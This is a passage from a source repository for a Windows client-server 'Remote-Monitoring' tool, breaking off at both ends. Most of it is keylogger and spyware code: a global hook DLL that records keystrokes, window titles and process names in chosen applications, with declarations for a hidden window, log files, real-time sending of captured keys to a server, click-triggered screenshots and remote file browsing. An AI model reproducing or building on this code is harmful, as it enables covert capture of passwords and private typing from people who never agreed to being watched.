MAX_KEY_NAME, L" [END]"); 35 | break; 36 | 37 | case VK_ESCAPE: 38 | wcscpy_s(TempBuffer, MAX_KEY_NAME, L" [ESC]"); 39 | break; 40 | 41 | case VK_CANCEL: 42 | wcscpy_s(TempBuffer, MAX_KEY_NAME, L" [CANCEL]"); 43 | break; 44 | 45 | case VK_LWIN: 46 | case VK_RWIN: 47 | wcscpy_s(TempBuffer, MAX_KEY_NAME, L" [WINDOWS]"); 48 | break; 49 | 50 | case VK_APPS: 51 | wcscpy_s(TempBuffer, MAX_KEY_NAME, L" [WIN-APP]"); 52 | break; 53 | 54 | 55 | case VK_SHIFT: 56 | { 57 | if (Type == UP) 58 | wcscpy_s(TempBuffer, MAX_KEY_NAME, L" [SHIFT-UP]"); 59 | //End of WM_KEYUP 60 | else { 61 | if (!(wcscmp(PrevKey, L" [SHIFT-DN]"))) 62 | return TRUE; 63 | wcscpy_s(TempBuffer, MAX_KEY_NAME, L" [SHIFT-DN]"); 64 | } 65 | break; 66 | } 67 | 68 | 69 | case VK_PRIOR: 70 | wcscpy_s(TempBuffer, MAX_KEY_NAME, L" [PGUP]"); 71 | break; 72 | 73 | case VK_NEXT: 74 | wcscpy_s(TempBuffer, MAX_KEY_NAME, L" [PGDOWN]"); 75 | break; 76 | 77 | case VK_LEFT: 78 | wcscpy_s(TempBuffer, MAX_KEY_NAME, L" [L-ARROW]"); 79 | break; 80 | 81 | case VK_UP: 82 | wcscpy_s(TempBuffer, MAX_KEY_NAME, L" [U-ARROW]"); 83 | break; 84 | 85 | case VK_RIGHT: 86 | wcscpy_s(TempBuffer, MAX_KEY_NAME, L" [R-ARROW]"); 87 | break; 88 | 89 | case VK_DOWN: 90 | wcscpy_s(TempBuffer, MAX_KEY_NAME, L" [D-ARROW]"); 91 | break; 92 | 93 | case VK_INSERT: 94 | wcscpy_s(TempBuffer, MAX_KEY_NAME, L" [INS]"); 95 | break; 96 | 97 | case VK_DELETE: 98 | wcscpy_s(TempBuffer, MAX_KEY_NAME, L" [DEL]"); 99 | break; 100 | 101 | case VK_BACK: 102 | wcscpy_s(TempBuffer, MAX_KEY_NAME, L" [BS]"); 103 | break; 104 | 105 | case VK_TAB: 106 | wcscpy_s(TempBuffer, MAX_KEY_NAME, L" [TAB]"); 107 | break; 108 | 109 | case VK_SPACE: 110 | wcscpy_s(TempBuffer, MAX_KEY_NAME, L" [SPACE]"); 111 | break; 112 | 113 | case VK_RETURN: 114 | wcscpy_s(TempBuffer, MAX_KEY_NAME, L" [ENTER]"); 115 | break; 116 | 117 | 118 | case VK_F1: 119 | wcscpy_s(TempBuffer, MAX_KEY_NAME, L" [F1]"); 120 | break; 121 | 122 | case VK_F2: 123 | wcscpy_s(TempBuffer, MAX_KEY_NAME, L" [F2]"); 124 | break; 125 | 126 | case VK_F3: 127 | wcscpy_s(TempBuffer, MAX_KEY_NAME, L" [F3]"); 128 | break; 129 | 130 | case VK_F4: 131 | wcscpy_s(TempBuffer, MAX_KEY_NAME, L" [F4]"); 132 | break; 133 | 134 | case VK_F5: 135 | wcscpy_s(TempBuffer, MAX_KEY_NAME, L" [F5]"); 136 | break; 137 | 138 | case VK_F6: 139 | wcscpy_s(TempBuffer, MAX_KEY_NAME, L" [F6]"); 140 | break; 141 | 142 | case VK_F7: 143 | wcscpy_s(TempBuffer, MAX_KEY_NAME, L" [F7]"); 144 | break; 145 | 146 | case VK_F8: 147 | wcscpy_s(TempBuffer, MAX_KEY_NAME, L" [F8]"); 148 | break; 149 | 150 | case VK_F9: 151 | wcscpy_s(TempBuffer, MAX_KEY_NAME, L" [F9]"); 152 | break; 153 | 154 | case VK_F10: 155 | wcscpy_s(TempBuffer, MAX_KEY_NAME, L" [F10]"); 156 | break; 157 | 158 | case VK_F11: 159 | wcscpy_s(TempBuffer, MAX_KEY_NAME, L" [F11]"); 160 | break; 161 | 162 | case VK_F12: 163 | wcscpy_s(TempBuffer, MAX_KEY_NAME, L" [F12]"); 164 | break; 165 | 166 | default: 167 | { 168 | fRetVal = GetKeyboardState(KeyBoardState); 169 | ScanCode = lParam & 0X00FF0000; 170 | 171 | iRetVal = wsprintf(TempBufferCopy, L"%c", TempC); 172 | iRetVal = ToUnicode(wParam, ScanCode, KeyBoardState, TempBuffer, sizeof(TempBuffer) / 2, 0); 173 | 174 | if (TempBuffer[0] == 0 || (TempBuffer[0] >= 27 && TempBuffer[0] <= 31)) 175 | break; //Unwanted Ctrl characters 176 | 177 | if (TempBuffer[0] >= CTRL_A && TempBuffer[0] <= CTRL_Z) //Ctrl+A - Ctrl+Z 178 | { 179 | wcscat_s(CtrlChar, MAX_KEY_NAME, TempBufferCopy); 180 | wcscat_s(CtrlChar, MAX_KEY_NAME, CtrlEnd); 181 | wcscpy_s(TempBuffer, MAX_KEY_NAME, CtrlChar); 182 | break; 183 | } 184 | 185 | break; 186 | } 187 | }// End of switch 188 | 189 | wcscpy_s(PrevKey, MAX_KEY_NAME, TempBuffer); 190 | FuncRetVal = BuildTempLinkList(hWnd, TempBuffer); 191 | if (FuncRetVal == FALSE) 192 | return FALSE; 193 | 194 | return TRUE; 195 | } 196 | -------------------------------------------------------------------------------- /ClientRM/KeyLogger/KeyLogger/ReadConfigFile.cpp: -------------------------------------------------------------------------------- 1 | //* Running in ReadConfigFile Thread. 2 | 3 | #include "..\..\..\Include\Keylog.h" 4 | 5 | HANDLE hConfigChangeEvent; 6 | 7 | extern KLPROCESSDATA TempProcessData; 8 | extern BOOL fInitDone; 9 | extern BOOL fMonitorApp; 10 | extern WCHAR wszConfigFilePath[MAX_PATH + 1]; 11 | extern BOOL bKLExitReadConfigThread; 12 | 13 | #pragma data_seg( "SharedSegment" ) 14 | extern BOOL bKLExitAllReadConfigThread; 15 | #pragma data_seg() 16 | #pragma comment ( linker, "/SECTION:SharedSegment,RWS" ) 17 | 18 | DWORD WINAPI ReadNewKLConfiguration(LPVOID lpParam) 19 | { 20 | hConfigChangeEvent = CreateEvent(NULL, TRUE, FALSE, L"Global\\KLConfigUpdate"); 21 | if (hConfigChangeEvent == NULL) 22 | { 23 | return GetLastError(); 24 | } 25 | 26 | HMODULE hMod = NULL; 27 | if (!GetModuleHandleEx(GET_MODULE_HANDLE_EX_FLAG_FROM_ADDRESS, (LPCWSTR)ReadNewKLConfiguration, &hMod)) 28 | { 29 | return GetLastError(); 30 | } 31 | 32 | while (bKLExitAllReadConfigThread != TRUE && bKLExitReadConfigThread != TRUE) { 33 | DWORD dwWait = WaitForSingleObject(hConfigChangeEvent, 1000); 34 | if (bKLExitAllReadConfigThread != TRUE && bKLExitReadConfigThread != TRUE && dwWait == WAIT_OBJECT_0) { 35 | BOOL funcRetVal = ConfigureAppFilter(); // TODO handle error return 36 | ResetEvent(hConfigChangeEvent); 37 | } 38 | } 39 | 40 | (void)CloseHandle(hConfigChangeEvent); 41 | FreeLibraryAndExitThread(hMod, ERROR_SUCCESS); 42 | return ERROR_SUCCESS; // unreachable code 43 | } 44 | 45 | BOOL ConfigureAppFilter() 46 | { 47 | int Index = 0; 48 | int iRetVal = 0;; 49 | 50 | KLCONFIG KLConfig; 51 | 52 | FILE *fpConfig = NULL; 53 | errno_t iError; 54 | 55 | __try { 56 | // reset flags 57 | fInitDone = FALSE; 58 | fMonitorApp = FALSE; 59 | 60 | iError = _wfopen_s(&fpConfig, wszConfigFilePath, L"rb"); 61 | if (iError != 0) 62 | return FALSE; 63 | 64 | fread(&KLConfig, sizeof(KLCONFIG), 1, fpConfig); // handle this func.. 65 | 66 | for (Index = 0; Index < KLConfig.nApps; Index++) { 67 | iRetVal = _wcsicmp(TempProcessData.wszEXEName, KLConfig.AppList[Index]); 68 | if (iRetVal != 0) 69 | continue; 70 | 71 | fMonitorApp = TRUE; 72 | break; 73 | } 74 | if (fInitDone != TRUE) 75 | fInitDone = TRUE; 76 | return TRUE; 77 | } 78 | 79 | __finally { 80 | if (fpConfig != NULL) 81 | fclose(fpConfig); 82 | } 83 | } 84 | -------------------------------------------------------------------------------- /Include/DataStructures.h: -------------------------------------------------------------------------------- 1 | 2 | // ** Remote Monitoring ** 3 | 4 | // DataStructures.h 5 | // Consists of all the data structures exchanged between the Server and Client 6 | 7 | // ** Common ** 8 | // Data structure to store local file paths 9 | typedef struct tagLocalFilePaths 10 | { 11 | WCHAR wszName[MAX_PATH_NAME + 1]; 12 | WCHAR wszPath[MAX_PATH + 1]; 13 | }LOCALFILEPATHS; 14 | 15 | // Data structure to store the list of files in a directory 16 | // returned by the library function ListDir() 17 | typedef struct tagFileList 18 | { 19 | WCHAR wszFileName[MAX_PATH + 1]; 20 | }FILELIST; 21 | 22 | // Data structure used during File Transfer Operation 23 | typedef struct tagFTPacket 24 | { 25 | PACKET_TYPE iPacketType; // file data, file marker, checksum data 26 | RM_COMMAND cmd; 27 | int iDataSize; 28 | char szData[FT_BUFSIZE + 1]; 29 | }FTPACKET; 30 | 31 | // Data structure to store checksum 32 | typedef struct tagChecksum 33 | { 34 | unsigned Message_Digest[5]; 35 | }CHECKSUM; 36 | 37 | // 38 | typedef struct tagFileTransferData 39 | { 40 | int nFiles; 41 | FILELIST ListOfFiles[MAX_FILES]; 42 | }FILE_TRANSFER_DATA; 43 | 44 | 45 | // ** Server Side ** 46 | // Data structures sent by the Server to the Client 47 | 48 | // * KeyLoggerMonitor * 49 | // Data structure to store KL configuration 50 | typedef struct tagKLConfig 51 | { 52 | int nApps; 53 | unsigned long ulRTInterval; 54 | unsigned long ulOffInterval; 55 | WCHAR AppList[MAX_APPS][MAX_FILE_NAME + 1]; 56 | }KLCONFIG; 57 | 58 | // KLM Data structure 59 | typedef struct tagKLMData 60 | { 61 | RM_COMMAND cmd; 62 | SYSTEMTIME stFromDate; 63 | SYSTEMTIME stToDate; 64 | KLCONFIG KLConfig; 65 | }KLMDATA; 66 | 67 | // * ScreenGrabberMonitor * 68 | // Data structure to store applications to be monitored by SG 69 | typedef struct tagSGAppList 70 | { 71 | int iShotType; 72 | WCHAR wszEXEName[MAX_PATH + 1]; 73 | }SGAPPLIST; 74 | 75 | // Data structures to store SG configuration 76 | typedef struct tagSGConfig 77 | { 78 | int nApps; 79 | unsigned long ulRTInterval; 80 | unsigned long ulOffInterval; 81 | SGAPPLIST SGAppList[MAX_APPS]; 82 | }SGCONFIG; 83 | 84 | // Data structure to store information 85 | // associated with retrieve snaps command. 86 | typedef struct tagSGMRetSnaps 87 | { 88 | SYSTEMTIME stFromDate; 89 | SYSTEMTIME stToDate; 90 | WCHAR wszAppName[MAX_FILE_NAME + 1]; 91 | }SGMRETSNAPS; 92 | 93 | // Data structure to store RealTime 94 | // monitored application information. 95 | typedef struct tagSGRealApp 96 | { 97 | WCHAR wszEXEName[MAX_PATH + 1]; 98 | }SGREALAPP; 99 | 100 | // union of all the structures used by SGM 101 | typedef union tagSGMStructs 102 | { 103 | SGMRETSNAPS SGMRetSnaps; 104 | SGCONFIG SGConfig; 105 | SGREALAPP SGRealApp; 106 | }SGMSTRUCTURES; 107 | 108 | // SGM Data structure 109 | typedef struct tagSGMData 110 | { 111 | RM_COMMAND cmd; 112 | SGMSTRUCTURES SGMStructs; 113 | }SGMDATA; 114 | 115 | // * File Browser Monitor * 116 | // Data structure to store command and the path to expand 117 | // from server to client. 118 | typedef struct tagFBMData 119 | { 120 | RM_COMMAND cmd; 121 | WCHAR wszPath[MAX_PATH + 1]; // absolute path of directory to be expanded in the tree view 122 | }FBMDATA; 123 | 124 | // SPM Data structures 125 | typedef union tagMNTRData 126 | { 127 | KLMDATA KLMData; 128 | SGMDATA SGMData; 129 | FBMDATA FBMData; 130 | }MNTRDATA; 131 | 132 | typedef struct tagSPMData 133 | { 134 | RM_COMMAND cmd; // meant to be read by the CPM 135 | PTYPE PluginID; 136 | MNTRDATA MNTRData; 137 | }SPMDATA; 138 | 139 | // SCM Data structure 140 | typedef struct tagSCMDataType 141 | { 142 | RM_COMMAND cmd; 143 | SPMDATA SPMDataOut; 144 | FILE_TRANSFER_DATA FileTransferData; 145 | }SCMDATATYPE; 146 | 147 | typedef struct tagSCMData 148 | { 149 | PACKET_TYPE iPacketType; // COMMAND / NOTIFICATION / PM_DATA (plugin manager data) 150 | SCMDATATYPE SCMDataType; 151 | }SCMDATA; 152 | 153 | 154 | // ** Client Side ** 155 | // Data structures sent by the Client to the Server 156 | 157 | // * KeyLogger * 158 | // KL Window data structure 159 | typedef struct KLWndData 160 | { 161 | HWND hWnd; 162 | WCHAR wszClassName[MAX_CLASS_NAME + 1]; 163 | WCHAR wszWndTitle[MAX_WND_TITLE + 1]; 164 | 165 | }KLWNDDATA; 166 | 167 | // Process information data structure 168 | typedef struct tagKLProcessData 169 | { 170 | WCHAR wszEXEName[MAX_FILE_NAME + 1]; 171 | SYSTEMTIME stStartTime; 172 | }KLPROCESSDATA; 173 | 174 | // To store temporary data (keys and window hierarchy) @ KL Hook DLL 175 | typedef struct tagKLTempData 176 | { 177 | int KeyCount; 178 | int KeysBufferLength; 179 | int WndCount; 180 | 181 | WCHAR Keys[MAX_KL_KEYS + 1]; 182 | 183 | KLWNDDATA KLWndData[MAX_WND_LIST]; 184 | KLPROCESSDATA ProcessData; 185 | 186 | struct tagKLTempData *pNextLink; 187 | 188 | }KLTEMPDATA; 189 | 190 | // To store temporary data (keys and window hierarchy) 191 | typedef struct tagKLIFLinkList 192 | { 193 | int KeyCount; 194 | int KeysBufferLength; 195 | int WndCount; 196 | 197 | WCHAR Keys[MAX_KLIF_KEYS + 1]; 198 | 199 | KLWNDDATA KLWndData[MAX_WND_LIST]; 200 | KLPROCESSDATA ProcessData; 201 | 202 | struct tagKLIFLinkList *pNextLink; 203 | struct tagKLIFLinkList *pSiblingLink; 204 | 205 | }KLIFLINKLIST; 206 | 207 | 208 | typedef struct tagKLRTTree 209 | { 210 | int iKeyCount; 211 | WCHAR wszKeys[MAX_KLIF_KEYS + 1]; 212 | int iWndCount; 213 | KLWNDDATA KLWndData[MAX_WND_LIST]; 214 | KLPROCESSDATA ProcessData; 215 | }KLRTTREE; 216 | 217 | // To store data to be written into the log file 218 | typedef struct tagLogFileData 219 | { 220 | int KeyCount; 221 | int KeysBufferLength; 222 | int WndCount; 223 | 224 | WCHAR Keys[MAX_KLIF_KEYS + 1]; 225 | 226 | KLWNDDATA KLWndData[MAX_WND_LIST]; 227 | KLPROCESSDATA ProcessData; 228 | 229 | }LOGFILEDATA; 230 | 231 | // * File Browser * 232 | // Data structures to store absolute paths 233 | // requested by the FBM. 234 | typedef struct tagFBFileList 235 | { 236 | DWORD dwFileSize; 237 | DWORD dwFileAttributes; 238 | SYSTEMTIME stLastAccess; 239 | WCHAR wszFileName[MAX_PATH + 1]; 240 | }FBFILELIST; 241 | 242 | typedef struct tagFBData 243 | { 244 | int nPaths; 245 | FBFILELIST FBFileList[MAX_FILES]; 246 | }FBDATA; 247 | 248 | 249 | // * ClientPluginManager * 250 | // Data structure to store plugin information 251 | typedef struct tagPluginInfo 252 | { 253 | PTYPE iPluginID; 254 | WCHAR wszPath[MAX_PATH + 1]; 255 | WCHAR wszName[MAX_FILE_NAME + 1]; 256 | WCHAR wszDLLInterfaceName[MAX_FILE_NAME + 1]; 257 | }PLUGININFO; 258 | 259 | // Data structure to store client configuration 260 | typedef struct tagClientConf 261 | { 262 | int nPlugins; 263 | WCHAR wszIP[IPADDR_LEN + 1]; 264 | PLUGININFO PluginInfo[MAX_PLUGINS]; 265 | }CLIENTCONF; 266 | 267 | // Data structure to store information about 268 | // image file sent to the server. 269 | typedef struct tagSGFileData 270 | { 271 | int nFiles; 272 | SYSTEMTIME stProcessLaunchTime; 273 | WCHAR wszEXEName[MAX_FILE_NAME + 1]; 274 | FILELIST ListOfFiles[MAX_FILES]; 275 | }SGFILEDATA; 276 | 277 | // Union of data structures of all plugins 278 | typedef union tagPDataType 279 | { 280 | LOGFILEDATA KLRTData; 281 | FILE_TRANSFER_DATA KLFileTransfer; 282 | SGFILEDATA SGFileData; 283 | FBDATA FBData; 284 | CLIENTCONF ClientConf; 285 | }PDATATYPE; 286 | 287 | typedef struct tagPData 288 | { 289 | CLI_RESPONSE iMessage; 290 | PTYPE PluginID; 291 | PDATATYPE PDataType; 292 | }PDATA; 293 | 294 | // Data structure to store arguments to ClientPluginManager() 295 | typedef struct tagCPMArgs 296 | { 297 | RM_COMMAND cmd; 298 | PDATA PData; 299 | }CPMARGS; 300 | 301 | typedef struct tagCPMData 302 | { 303 | RM_COMMAND cmd; // command meant for the SPM 304 | PDATA PData; 305 | }CPMDATA; 306 | 307 | // * ClientComModule * 308 | typedef union tagCCMDataType 309 | { 310 | CLI_RESPONSE cmd; 311 | CPMDATA CPMDataOut; 312 | }CCMDATATYPE; 313 | 314 | typedef struct tagCCMData 315 | { 316 | PACKET_TYPE iPacketType; 317 | CCMDATATYPE CCMDataType; 318 | }CCMDATA; -------------------------------------------------------------------------------- /Include/FBrowzRM.h: -------------------------------------------------------------------------------- 1 | 2 | // ** FBrowzRM project ** 3 | // FBrowzRM.h : 4 | 5 | 6 | 7 | // Exported Function 8 | extern "C" __declspec(dllexport) BOOL ProcessCmd(RM_COMMAND cmd, MNTRDATA *pMNTRData, 9 | PDATA __out **pPDataToCPM); 10 | -------------------------------------------------------------------------------- /Include/ImageGrab.h: -------------------------------------------------------------------------------- 1 | 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include "..\..\..\Include\RMDefs.h" 14 | #include "..\..\..\Include\DataStructures.h" 15 | 16 | #define MOUSE_SHOT_AREA 25 17 | #define MOUSE_SHOT_ADJUST 12 18 | #define IDT_OFFLINE_TIMER 50000 19 | #define IDT_REALTIME_TIMER 50001 20 | #define SGCONFIGUPDATE L"SGConfigUpdate" 21 | 22 | extern "C" __declspec(dllexport) BOOL InstallSGHook(WCHAR *pszSGDir); 23 | extern "C" __declspec(dllexport) BOOL RemoveSGHook(); 24 | LRESULT CALLBACK SGGetMsgProc(int nCode, WPARAM wParam, LPARAM lParam); 25 | LRESULT CALLBACK SGCallWndProc(int nCode, WPARAM wParam, LPARAM lParam); 26 | 27 | // This function process a click based on the shot and sets all parameters need for taking the snap 28 | BOOL ProcessClick(int xPos, int yPos, HWND hwnd); 29 | 30 | // This fucntion checks whether this application needs to be monitored or not 31 | BOOL ProcessThisApp(); 32 | 33 | // This function takes the actual snap and stores it in a bmp file 34 | BOOL TakeSnap(HWND hWnd, long ScreenWidth, long ScreenHeight, long ShotWidth, long ShotHeight, long xStartPt, long yStartPt, WCHAR szFileName[MAX_PATH + 1]); 35 | 36 | // This thread is called only once and used to read the configuration file to set the inital parameters for the application 37 | DWORD WINAPI InitHookProc(LPVOID lpParam); 38 | 39 | DWORD WINAPI UpdateConfigProc(LPVOID lpParam); 40 | 41 | BOOL InitHook(); 42 | 43 | // This function is used to create the InitHookProc and ConfigUpdateProc threads 44 | BOOL InitProcess(); 45 | 46 | // This function is used to change the set parameters based on the configuration file update 47 | BOOL UpdateConfig(); 48 | 49 | // This funtion is used to set both real time and offline timer 50 | BOOL SetTimerFunc(); 51 | 52 | // This function is used to kill both real time and offline timers 53 | BOOL KillTimerFunc(); 54 | 55 | // This function is used to check whether applications messages has to ignored or not 56 | BOOL NeverHookProcessList(); 57 | -------------------------------------------------------------------------------- /Include/ImgGrbIt.h: -------------------------------------------------------------------------------- 1 | 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include "..\..\..\Include\RMDefs.h" 12 | #include "..\..\..\Include\DataStructures.h" 13 | 14 | #define SGCONFIGUPDATE L"SGConfigUpdate" 15 | 16 | extern "C" __declspec(dllexport) BOOL ProcessCmd(RM_COMMAND Cmd, MNTRDATA *MntrData, PDATA __out **pPDataToCPM); 17 | 18 | typedef BOOL(__cdecl *INSTALLPROC)(WCHAR *pszSGDir); 19 | typedef BOOL(__cdecl *REMOVEPROC)(); 20 | -------------------------------------------------------------------------------- /Include/KeyLog.h: -------------------------------------------------------------------------------- 1 | #ifndef _KEY_LOG_H_ 2 | #define _KEY_LOG_H_ 3 | 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include // GetModuleFileNameEx() 9 | #include // StrStrI() 10 | #include "RMDefs.h" 11 | #include "DataStructures.h" 12 | 13 | #define UP 1 14 | #define DOWN 0 15 | 16 | 17 | //** FUNCTION PROTOTYPES **// 18 | 19 | // 1 **************** KL Hook DLL ******************* 20 | 21 | //* DLLMain 22 | extern "C" __declspec(dllexport)BOOL InstallKLHook(WCHAR *CPMDirectory); 23 | extern "C" __declspec(dllexport)BOOL RemoveKLHook(); 24 | 25 | LRESULT CALLBACK KLGetMsgProc(int nCode, WPARAM wParam, LPARAM lParam); 26 | 27 | BOOL InitProcess(); 28 | BOOL NeverHookThisProcess(); 29 | BOOL ReadKLConfig(); 30 | 31 | //* ProcessKey 32 | BOOL ProcessKey(BOOL Type, HWND hKey, WPARAM wParam, LPARAM lParam); 33 | 34 | //* KLTempLinkList 35 | BOOL BuildTempLinkList(HWND hWnd, WCHAR *KeyPressed); 36 | BOOL QueryHandleHierarchy(HWND hWnd, KLTEMPDATA *pKLTempData); 37 | BOOL FillKLWindowData(KLTEMPDATA *pKLTempData); 38 | BOOL AddNewNode(KLTEMPDATA *pKLTempData); 39 | 40 | //* ReadKLConfig 41 | DWORD WINAPI ReadNewKLConfiguration(LPVOID lpParam); 42 | BOOL ConfigureAppFilter(); 43 | 44 | //* DataTransfer 45 | DWORD WINAPI TransferLinkListData(LPVOID lParam); 46 | BOOL StartTransfer(); 47 | 48 | 49 | // 2 ******************** KLIF **************************** 50 | 51 | //* DLLMain - Main Thread 52 | 53 | typedef BOOL(__cdecl *INSTALLPROC)(WCHAR *pszKLDir); 54 | typedef BOOL(__cdecl *REMOVEPROC)(); 55 | 56 | extern "C" __declspec(dllexport)BOOL ProcessCmd(RM_COMMAND Cmd, MNTRDATA *MNTRData, PDATA __out **pPData); 57 | 58 | BOOL SetSleepTimerVal(RM_COMMAND Cmd); 59 | 60 | BOOL GetNextDate(WORD *pDate, WORD *pMonth, WORD *pYear); 61 | BOOL RetrieveLogFiles(const WCHAR *wszDirPath, const SYSTEMTIME *stFromDate, const SYSTEMTIME *stToDate, FILE_TRANSFER_DATA *pLogFilesList); 62 | 63 | //* HiddenWindow Thread 64 | 65 | DWORD WINAPI CreateHiddenWindow(HINSTANCE hInstance); 66 | LRESULT WINAPI WndProc(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam); 67 | BOOL CopyofWMCopyData(KLTEMPDATA *pCopyData); 68 | BOOL BuildKLTree(KLTEMPDATA *pTempStruct); 69 | BOOL FillKLTreeData(KLIFLINKLIST *pNewNode, KLTEMPDATA *TempStruct); 70 | 71 | //* SleepTimer Thread 72 | 73 | DWORD WINAPI SleepTimer(); 74 | 75 | //* UpdateLogFile Thread 76 | 77 | DWORD WINAPI UpdateLogFile(); 78 | BOOL CopyTreeData(); 79 | BOOL WriteToLogFile(LOGFILEDATA *pTempLogFileStruct); 80 | BOOL SendRealTimeData(LOGFILEDATA *pTempLogFileData); 81 | 82 | #endif 83 | -------------------------------------------------------------------------------- /Include/Library.h: -------------------------------------------------------------------------------- 1 | 2 | // ** Remote Monitoring ** 3 | 4 | // Library.h : Header file for the Library.cpp source file 5 | 6 | // Functions available in Library.cpp 7 | BOOL PrintToStatusWindow(const WCHAR *msg); 8 | BOOL PrintToStatusBar(const WCHAR *wszMsg, int iPart); 9 | int WriteToLogFile(const WCHAR *pwszFilePath, const WCHAR *pwszFromModule, const WCHAR *pwszFunction, 10 | const WCHAR *pwszData, int iError); 11 | int ListDir(const WCHAR *pwszDirPath, const WCHAR *pwszExt, FILELIST flFileList[], int nMaxFiles); -------------------------------------------------------------------------------- /Include/SHA1.h: -------------------------------------------------------------------------------- 1 | 2 | // ** Remote Monitoring ** 3 | 4 | /* 5 | * sha1.h 6 | * 7 | * Copyright (C) 1998, 2009 8 | * Paul E. Jones 9 | * All Rights Reserved 10 | * 11 | ***************************************************************************** 12 | * $Id: sha1.h 12 2009-06-22 19:34:25Z paulej $ 13 | ***************************************************************************** 14 | * 15 | * Description: 16 | * This class implements the Secure Hashing Standard as defined 17 | * in FIPS PUB 180-1 published April 17, 1995. 18 | * 19 | * Many of the variable names in the SHA1Context, especially the 20 | * single character names, were used because those were the names 21 | * used in the publication. 22 | * 23 | * Please read the file sha1.c for more information. 24 | * 25 | */ 26 | 27 | #ifndef _SHA1_H_ 28 | #define _SHA1_H_ 29 | 30 | 31 | // Define the circular shift macro 32 | #define SHA1CircularShift(bits,word) ( ( ((word) << (bits)) & 0xFFFFFFFF) | \ 33 | ( (word) >> (32-(bits) )) ) 34 | 35 | // This structure will hold context information 36 | // for the hashing operation. 37 | typedef struct tagSHA1Context 38 | { 39 | 40 | unsigned Message_Digest[5]; // Message Digest (output) 41 | 42 | unsigned Length_Low; // Message length in bits 43 | unsigned Length_High; // Message length in bits 44 | 45 | unsigned char Message_Block[64]; // 512-bit message blocks 46 | int Message_Block_Index; // Index into message block array 47 | 48 | int Computed; // Is the digest computed? 49 | int Corrupted; // Is the message digest corrupted? 50 | 51 | } SHA1CONTEXT; 52 | 53 | 54 | // Function Prototypes 55 | int ComputeChecksum(const WCHAR *wszFilePath, CHECKSUM *pChecksum); 56 | int VerifyChecksums(const CHECKSUM *pCS1, const CHECKSUM *pCS2); 57 | void SHA1Reset(SHA1CONTEXT *); 58 | int SHA1Result(SHA1CONTEXT *); 59 | void SHA1Input(SHA1CONTEXT *, const unsigned char *, unsigned); 60 | void SHA1ProcessMessageBlock(SHA1CONTEXT *); 61 | void SHA1PadMessage(SHA1CONTEXT *); 62 | 63 | #endif -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Remote-Monitoring 2 | A client server application to monitor networked computers 3 | -------------------------------------------------------------------------------- /ServerRM/ServerRM.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio 14 4 | VisualStudioVersion = 14.0.25420.1 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ServerRM", "ServerRM\ServerRM.vcxproj", "{8BAC3E10-E9EF-4722-A37F-27B455919C33}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Win32 = Debug|Win32 11 | Release|Win32 = Release|Win32 12 | EndGlobalSection 13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 14 | {8BAC3E10-E9EF-4722-A37F-27B455919C33}.Debug|Win32.ActiveCfg = Debug|Win32 15 | {8BAC3E10-E9EF-4722-A37F-27B455919C33}.Debug|Win32.Build.0 = Debug|Win32 16 | {8BAC3E10-E9EF-4722-A37F-27B455919C33}.Release|Win32.ActiveCfg = Release|Win32 17 | {8BAC3E10-E9EF-4722-A37F-27B455919C33}.Release|Win32.Build.0 = Release|Win32 18 | EndGlobalSection 19 | GlobalSection(SolutionProperties) = preSolution 20 | HideSolutionNode = FALSE 21 | EndGlobalSection 22 | EndGlobal 23 | -------------------------------------------------------------------------------- /ServerRM/ServerRM/Plugins.dat: -------------------------------------------------------------------------------- 1 | d..\..\Debug\ImageGrabImgGrbIte..\..\Debug\KeyLoggerKeyLogIF -------------------------------------------------------------------------------- /ServerRM/ServerRM/SCM.cpp: -------------------------------------------------------------------------------- 1 | 2 | // * ServerRM project * 3 | // SCM.cpp : Contains the main entry point of ServerComModule, ServerComModule() function. 4 | 5 | #include "ServerInclude.h" 6 | 7 | extern HWND hMsgOnlyWnd; 8 | 9 | typedef struct tagSCM_ThreadArgs { 10 | 11 | RM_COMMAND cmd; 12 | SCMARGS SCMArgs; 13 | CCMDATA CCMDataIn; 14 | 15 | }SCM_THREADARGS; 16 | 17 | DWORD WINAPI SCMCmdHandler(LPVOID args); 18 | 19 | BOOL ServerComModule(RM_COMMAND cmd, const SCMARGS *pSCMArgs, const CCMDATA *pCCMDataIn) { 20 | SCM_THREADARGS *pThreadArgs = NULL; 21 | HANDLE hSCMCmdHandlerThread; 22 | 23 | 24 | if ((pThreadArgs = (SCM_THREADARGS*)malloc(sizeof(SCM_THREADARGS))) == NULL) { 25 | PrintToStatusWindow(L"CCM: malloc error:CCMThreadArgs"); 26 | return FALSE; 27 | } 28 | 29 | if (pSCMArgs == NULL) { 30 | // if CCMArgs is NULL, only 'cmd' or 'cmd with SCMDataIn' is received 31 | 32 | // copy the command into CCM_THREADARGS structure 33 | pThreadArgs->cmd = cmd; 34 | 35 | // check if SCMDataIn is NULL or not 36 | if (pCCMDataIn != NULL) { 37 | // if it is not NULL, copy the SCMDataIn into CCM_THREADARGS structure 38 | memcpy(&pThreadArgs->CCMDataIn, pCCMDataIn, sizeof(CCMDATA)); 39 | } 40 | } else { 41 | // pCCMArgs is not NULL. Hence, copy the arguments received into CCM_THREADARGS structure. 42 | pThreadArgs->cmd = pSCMArgs->cmd; 43 | memcpy(&pThreadArgs->SCMArgs, pSCMArgs, sizeof(SCMARGS)); 44 | } 45 | 46 | // after copying the arguments, invoke a new thread to 47 | // handle the command and immediately return to the calling function. 48 | hSCMCmdHandlerThread = CreateThread(NULL, 49 | 0, 50 | (LPTHREAD_START_ROUTINE)SCMCmdHandler, 51 | pThreadArgs, 52 | 0, 53 | NULL); 54 | if (hSCMCmdHandlerThread == NULL) 55 | return FALSE; 56 | 57 | return TRUE; 58 | 59 | }// ServerComModule() 60 | 61 | DWORD WINAPI SCMCmdHandler(LPVOID lpArgs) { 62 | 63 | int iRetVal; 64 | 65 | SCM_THREADARGS *pMyArgs = NULL; 